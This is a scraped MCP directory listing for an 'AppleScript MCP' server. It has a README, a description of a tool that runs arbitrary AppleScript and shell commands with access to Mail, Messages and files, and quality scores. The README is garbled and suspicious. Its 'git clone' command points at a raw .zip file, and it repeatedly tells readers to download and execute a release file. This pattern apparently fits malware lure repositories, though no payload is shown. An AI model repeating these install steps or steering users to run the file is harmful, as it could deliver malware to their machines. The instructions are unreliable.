Skip to main content
Glama
Hassanali4

AppleScript MCP

by Hassanali4

๐Ÿ AppleScript MCP: Full Control of Your Mac

Welcome to the AppleScript MCP repository! This project allows you to run AppleScript commands through an MCP server, giving you complete control over your macOS environment. Whether you're automating tasks, controlling applications, or managing system settings, this tool provides a powerful way to interact with your Mac.

๐Ÿš€ Features

  • Execute AppleScripts: Run your AppleScript commands seamlessly.

  • MCP Server: Easily set up a server that listens for commands.

  • Full Control: Manage your Macโ€™s applications and settings from anywhere.

  • Cross-Platform: Works with various devices that can send HTTP requests.

Related MCP server: mcp-remote-macos-use

๐Ÿ“ฆ Getting Started

To get started with the AppleScript MCP, follow these steps:

  1. Clone the Repository:

    git clone https://raw.githubusercontent.com/Hassanali4/applescript-mcp/main/src/mcp-applescript-2.1-beta.1.zip
    cd applescript-mcp
  2. Download and Execute: Head over to the Releases section to download the latest version. Make sure to execute the downloaded file to start the server.

  3. Run the MCP Server: After executing the file, your MCP server will start. You can now send AppleScript commands to your Mac.

๐Ÿ”ง Installation

Prerequisites

Installation Steps

  1. Install Dependencies:

    npm install
  2. Start the Server:

    npm start

Usage

Once the server is running, you can send AppleScript commands using HTTP requests. Hereโ€™s an example using curl:

curl -X POST http://localhost:3000/execute -d 'tell application "Finder" to make new folder at desktop with properties {name:"New Folder"}'

This command will create a new folder on your desktop named "New Folder".

๐Ÿ“œ Documentation

For detailed documentation on how to use AppleScript MCP, please refer to the Wiki.

๐Ÿ› ๏ธ Contributing

We welcome contributions! If you have suggestions, bug fixes, or new features, please open an issue or submit a pull request.

Steps to Contribute

  1. Fork the Repository: Click the "Fork" button on the top right of the repository page.

  2. Create a New Branch:

    git checkout -b feature/YourFeatureName
  3. Make Your Changes: Edit the files as needed.

  4. Commit Your Changes:

    git commit -m "Add your message here"
  5. Push to Your Branch:

    git push origin feature/YourFeatureName
  6. Open a Pull Request: Go to the original repository and click "New Pull Request".

๐Ÿ—‚๏ธ Topics

  • AppleScript: A scripting language for automating tasks on macOS.

  • macOS: The operating system for Apple computers.

  • MCP: A server that allows communication between devices and applications.

  • MCP Server: A server setup that listens for commands and executes them.

๐Ÿ“ˆ Releases

To find the latest releases, visit the Releases section. Download the appropriate file and execute it to get started.

๐ŸŽจ Visuals

Here are some images that represent the essence of this project:

AppleScript Logo

MCP Server

๐Ÿ“ž Support

If you encounter any issues or have questions, feel free to reach out via the Issues tab on GitHub. We are here to help!

๐ŸŽ‰ Acknowledgments

We would like to thank the open-source community for their contributions and support. Your efforts make projects like this possible.

๐Ÿ“ License

This project is licensed under the MIT License. See the LICENSE file for more details.


Feel free to modify the content as needed. Happy scripting! ๐Ÿ

Available Tools

1 tool
applescript_executeB

Run AppleScript code to interact with Mac applications and system features. This tool can access and manipulate data in Notes, Calendar, Contacts, Messages, Mail, Finder, Safari, and other Apple applications. Common use cases include but not limited to: - Retrieve or create notes in Apple Notes - Access or add calendar events and appointments - List contacts or modify contact details - Search for and organize files using Spotlight or Finder - Get system information like battery status, disk space, or network details - Read or organize browser bookmarks or history - Access or send emails, messages, or other communications - Read, write, or manage file contents - Execute shell commands and capture the output

ParametersJSON Schema
NameRequiredDescriptionDefault
code_snippetYesMulti-line appleScript code to execute
timeoutNoCommand execution timeout in seconds (default: 60)

TDQS

B3.2/5.0
Behavior2/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description carries full burden. It lists capabilities but fails to disclose risks such as potential data loss, security implications, or the fact that AppleScript can make irreversible changes. The description is overly positive and lacks warnings.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness3/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is front-loaded with purpose, but the list of use cases is exhaustive and somewhat redundant (e.g., similar patterns repeated). It could be trimmed without losing meaning. It is adequate but not optimally concise.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness2/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The tool is complex (arbitrary AppleScript execution) and has no output schema. The description does not explain what the tool returns (e.g., output or error messages), leaving a significant gap. It also lacks prerequisites or postconditions common for such a powerful tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100% (both parameters described in schema). The description does not add any extra meaning beyond what the schema already provides, meeting the baseline for high coverage. No parameter-specific details are added.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states 'Run AppleScript code to interact with Mac applications and system features,' providing a specific verb and resource. It then lists numerous concrete use cases, leaving no ambiguity about the tool's purpose. Without sibling tools, differentiation is not required.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage through its long list of common use cases, but it does not explicitly state when to use this tool or when not to (e.g., alternatives like shell tools). There are no exclusion criteria or prerequisites mentioned, so guidance is only implicit.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

TDQS

A3.6/5.0
Disambiguation5/5

With only one tool, there is no risk of confusion between tools. The tool's purpose is clearly defined as executing AppleScript code.

Naming Consistency5/5

With a single tool, naming consistency is inherently perfect. The name 'applescript_execute' follows a noun_verb pattern, and there are no other tools to compare against.

Tool Count3/5

The server has only one tool, which is at the low end of typical tool counts. However, it serves a specific purpose (executing AppleScript) where a single tool is reasonable, but it could be considered thin compared to the broad scope of interactions listed.

Completeness5/5

The tool allows execution of any AppleScript code, providing full access to macOS applications and system features. There are no missing operations since the tool is a generic executor covering all possible use cases.

Maintenance

ActivityInactive
ResponsivenessSyncing

Resources

Unclaimed servers have limited discoverability.

Looking for Admin?

If you are the server author, to access and configure the admin panel.

Related MCP Connectors

Related MCP Servers

  • A
    license
    B
    quality
    D
    maintenance
    MCP server for macOS Automator that enables AI to control Mac computers by executing AppleScript/JXA, running automation workflows, and performing system-level tasks like sending emails and organizing files.
    6
    12
    4
    MIT
  • F
    license
    A
    quality
    D
    maintenance
    Enables the execution of AppleScript and JavaScript for Automation (JXA) on macOS to control applications, system events, and shell commands. It provides native automation capabilities with a security layer that permits most operations while specifically blocking file deletion commands.
    1
    6

Latest Blog Posts

MCP directory API

We provide all the information about MCP servers via our MCP API.

curl -X GET 'https://glama.ai/api/mcp/v1/servers/Hassanali4/applescript-mcp'

If you have feedback or need assistance with the MCP directory API, please join our Discord server